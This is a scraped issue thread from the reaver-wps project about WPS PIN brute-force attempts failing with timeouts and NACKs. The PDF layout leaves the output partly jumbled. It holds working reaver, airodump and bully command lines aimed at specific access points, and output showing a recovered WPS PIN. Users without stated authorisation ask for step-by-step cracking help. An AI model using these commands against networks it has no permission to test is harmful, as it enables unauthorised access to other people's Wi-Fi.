Brute Force

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...
1 of 14
https://code.google.com/p/reaver-wps/issues/detail?id=623
My favorites | Sign in
Status: New
Owner: ----
reaver-wps
Type-Defect
Priority-Triage
Brute force attack against Wifi Protected Setup
Sign
in to add
a comment
Project
Home
Downloads
Wiki
New issue Search

tips Subscriptions
Issues
Source
for
Advanced search Search
Issue 623: Getting "[!] Warning: Receive timeout occurred" and "[!] WPS
transaction failed (code: 0x02), re-trying last pin"
5 people starred this issue and may be notified of changes.
Prev 469 of 535 Next

Back to list
Reported by chris.sy...@gmail.com, Mar 9, 2014

0. What version of Reaver are you using?
version will be considered.)
(Only defects against the latest
v1.4 from a Kali Linux install.
1. What operating system are you using (Linux is the only supported OS)?
Kali Linux
2. Is your wireless card in monitor mode (yes/no)?

Yes.
Also, I'm using a Belkin Wireless G USB Network Adapter F5D7050 (rt73usb).
3. What is the signal strength of the Access Point you are trying to crack?
Seems to bounce -68 to -74 depending on where I sit it.
4. What is the manufacturer and model # of the device you are trying to
crack?
D-Link DIR 300 (is in the same room, clear line of sight)
5. What is the entire command line string you are supplying to reaver?
reaver -i mon0 -b 00:22:B0:92:05:E9 -vv
6. Please describe what you think the issue is.

I'm hoping it's not, but I'm sure it's probably the rt73usb adapter I'm using.
I've looked through many similar issues and tried many options, but thought I'd
start one from scratch for this.
7. Paste the output from Reaver below.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[?]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[+]
[!]
Restore previous session for 00:22:B0:92:05:E9? [n/Y] n

Waiting for beacon from 00:22:B0:92:05:E9
Switching mon0 to channel 7
Associated with 00:22:B0:92:05:E9 (ESSID: Anonymous)
Trying pin 12345670
Sending EAPOL START request
WARNING: Receive timeout occurred
Received identity request
Sending identity response
Sending WSC NACK
WPS transaction failed (code: 0x02), re-trying last pin
Trying pin 12345670
1/4/2015 11:23 AM
2 of 14
Status: New
Owner: ---Type-Defect
Priority-Triage
Sign in to add a comment
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
Sending WSC NACK

Trying pin 12345670
Received M1 message
Sending M2 message
Sending WSC NACK
Trying pin 12345670
Sending WSC NACK
Trying pin 12345670
Sending WSC NACK
Trying pin 12345670
Sending WSC NACK
Nothing done, nothing to save.
0.00% complete @ 2014-03-11 02:26:21 (0 seconds/pin)
Max time remaining at this rate: (undetermined) (11000 pins left to try)
Trying pin 12345670
1/4/2015 11:23 AM
3 of 14
Status: New
Priority-Triage
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[+]
[!]
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[!]
[+]
[+]
[!]
[+]
[!]
[!]

Sending WSC NACK
WPS transaction failed (code: 0x02), re-trying
Trying pin 12345670
Sending WSC NACK
Trying pin 12345670
Sending WSC NACK
Trying pin 12345670
Sending WSC NACK
WARNING: 10 failed connections in a row
last pin
last pin
last pin
last pin
1/4/2015 11:23 AM
4 of 14
Status: New
Priority-Triage
Here is a link to the pcap:

https://mega.co.nz/#!pRg2CRpI!v-nORqpZMpih_AI2XP6tIUb4XmTVN0L805VpgYpwUe0
#1 chris.sy...@gmail.com
Mar 9, 2014
Edit: was looking at the wrong AP.

3. What is the signal strength of the Access Point you are trying to crack?
Power is -45
Mar 9, 2014
Not sure if it's related but when I run wash I also need to use --ignore-fcs or I
get continual "[!] Found packet with bad FCS, skipping..."
#3 deltomaf...@gmail.com
Mar 11, 2014
open new terminal with:

airodump mon0 -d 0:22:B0:92:05:E9 -c 7 --ignore-negative-one
in another terminal run:
reaver -i mon0 -b 00:22:B0:92:05:E9 -a -S -c 7 -vv
Mar 11, 2014
Hi, thanks for the suggestions.

Still no luck though, reaver output:
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]

Restored previous session
Associated with 00:22:B0:92:05:E9 (ESSID: Anonymous)
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
1/4/2015 11:23 AM
5 of 14
Status: New
Priority-Triage
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[!]

Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
1/4/2015 11:23 AM
6 of 14
Status: New
Priority-Triage
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]

Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Trying pin 01235678
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
Also tried a few things I found in forums along the way, such as leaving "wash -i
mon0" running in another terminal, etc. Have now tried on another router with WPS
(it was a cheap re-brand one, didn't grab the model number) and no luck there
either.
Will see if I can pick up another wifi adapter (maybe an Alfa one if I can find
one).
Still open to suggestions with this in the meantime though. :)
Mar 14, 2014
delete file in /usr/local/etc/reaver/0022B09205E9.wpc

repeat but add N:
reaver -i mon0 -b 00:22:B0:92:05:E9 -a -S -N -c 7 -vv
no leaving running wash.
1/4/2015 11:23 AM
7 of 14
Status: New
Priority-Triage
Mar 14, 2014
0022B09205E9.wpc wasn't in: /usr/local/etc/reaver

But I found it and deleted it from: /etc/reaver
I tried again with the new suggested flags and came up with this:
[+] Switching mon0 to channel 7
[+] Waiting for beacon from 00:22:B0:92:05:E9
[+] Associated with 00:22:B0:92:05:E9 (ESSID: Anonymous)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[+] Trying pin 12345670
1/4/2015 11:23 AM
8 of 14
Status: New
Priority-Triage
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
Trying pin 12345670
Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
Trying pin 12345670
Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
1/4/2015 11:23 AM
9 of 14
Status: New
Priority-Triage
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
Sending WSC NACK

Trying pin 12345670
Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
Trying pin 12345670
Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
Trying pin 12345670
1/4/2015 11:23 AM
10 of 14
Status: New
Priority-Triage
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[+]
[+]
[!]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[!]
[!]
[+]
[+]
[+]

Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
Trying pin 12345670
Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
Trying pin 12345670
Received M1 message
Sending M2 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M1 message
Received M3 message
Sending M4 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Received M3 message
Sending WSC NACK
WARNING: 10 failed connections in a row
Trying pin 12345670
1/4/2015 11:23 AM
11 of 14
Status: New
Priority-Triage
I also tried using setting my pin with the flag and it seemed to work:
[+] Waiting for beacon from 00:22:B0:92:05:E9
[+] Trying pin 44327989
[+] Pin cracked in 10 seconds
[+] WPS PIN: '44327989'
[+] Nothing done, nothing to save.
But it didn't show the PSK, is that normal?
Mar 16, 2014
yes..sometimes occurs
you got the PIN, now repeatedly if -p not show the PSK, just use the technique
wpasupplicant already posted here. maybe should use Bully project more new.
Mar 17, 2014
test with:
reaver -i mon0 -b 00:22:B0:92:05:E9 -a -S -N -c 7 -vv -w
#9 hammad...@gmail.com
Jul 20, 2014
please anyone help m stuck here....

i will be very thankful to u if u can help me....
waiting for your replay
hammad702@gmail.com
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

1/4/2015 11:23 AM
12 of 14
Status: New
Priority-Triage
#10 lasun...@gmail.com
Aug 10, 2014
wats ur reaver command hammad
#11 danishsu...@gmail.com
Aug 12, 2014
the same error is coming again n again ...

i have used :
reaver -i mon0 -b bssid -vv --pin 12454218
i cracked with the above code many times.. but now giving the below error.
================================================
[+] Trying pin 12345670
[+] Trying pin 12345670
[+] Trying pin 12345670
[+] Trying pin 12345670
[+] Trying pin 12345670
1/4/2015 11:23 AM
13 of 14
Status: New
Priority-Triage

[+] Trying pin 12345670
[+] Nothing done, nothing to save.
[+] 0.00% complete @ 2014-03-11 02:26:21 (0 seconds/pin)
[+] Max time remaining at this rate: (undetermined) (11000 pins left to try)
[+] Trying pin 12345670
============================================================
plz let me know step by step...
Best Regards
#12 pooya.si...@gmail.com
Sep 29, 2014
guys , pleaseee help me :(((

i install bully and do commands right !
but i get this ! :
root@Max:~# bully -b xx:xx:xx:xx:xx:xx -c 6 -T mon0
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[+] Switching interface 'mon0' to channel '6'
[!] Using '00:11:22:33:44:55' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '60:a4:4c:ee:cd:a4' on channel '6'
[!] Excessive (3) FCS failures while reading next packet
[!] Disabling FCS validation (assuming --nofcs)
[+] Got beacon for 'milk' (xx:xx:xx:xx:xx:xx)
[X] The AP doesn't appear to be WPS enabled (no WPS IE)
Help me :(
1/4/2015 11:23 AM
14 of 14
Status: New
Priority-Triage
Terms - Privacy - Project Hosting Help

Powered by Google Project Hosting
1/4/2015 11:23 AM

Brute Force

Hochgeladen von

Dokumentinformationen

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

Brute Force

Hochgeladen von

Copyright:

Verfügbare Formate

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Brute force attack against Wifi Protected Setup

New issue Search

Advanced search Search

Prev 469 of 535 Next

Reported by chris.sy...@gmail.com, Mar 9, 2014

(Only defects against the latest

v1.4 from a Kali Linux install.

2. Is your wireless card in monitor mode (yes/no)?

6. Please describe what you think the issue is.

7. Paste the output from Reaver below.

Restore previous session for 00:22:B0:92:05:E9? [n/Y] n

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Sending WSC NACK

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Sending EAPOL START request

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Here is a link to the pcap:

Edit: was looking at the wrong AP.

Mar 11, 2014

open new terminal with:

Mar 11, 2014

Hi, thanks for the suggestions.

Switching mon0 to channel 7

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Sending EAPOL START request

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Sending EAPOL START request

Mar 14, 2014

delete file in /usr/local/etc/reaver/0022B09205E9.wpc

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Mar 14, 2014

0022B09205E9.wpc wasn't in: /usr/local/etc/reaver

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Received identity request

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Sending WSC NACK

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Sending identity response

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment

Mar 16, 2014

Mar 17, 2014

Jul 20, 2014

please anyone help m stuck here....

Sending EAPOL START request

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

[+] Sending identity response

Sign in to add a comment

Aug 10, 2014

wats ur reaver command hammad

Aug 12, 2014

the same error is coming again n again ...

Issue 623 - reaver-wps - Getting "[!] Warning: Receive timeout occurre...

Sign in to add a comment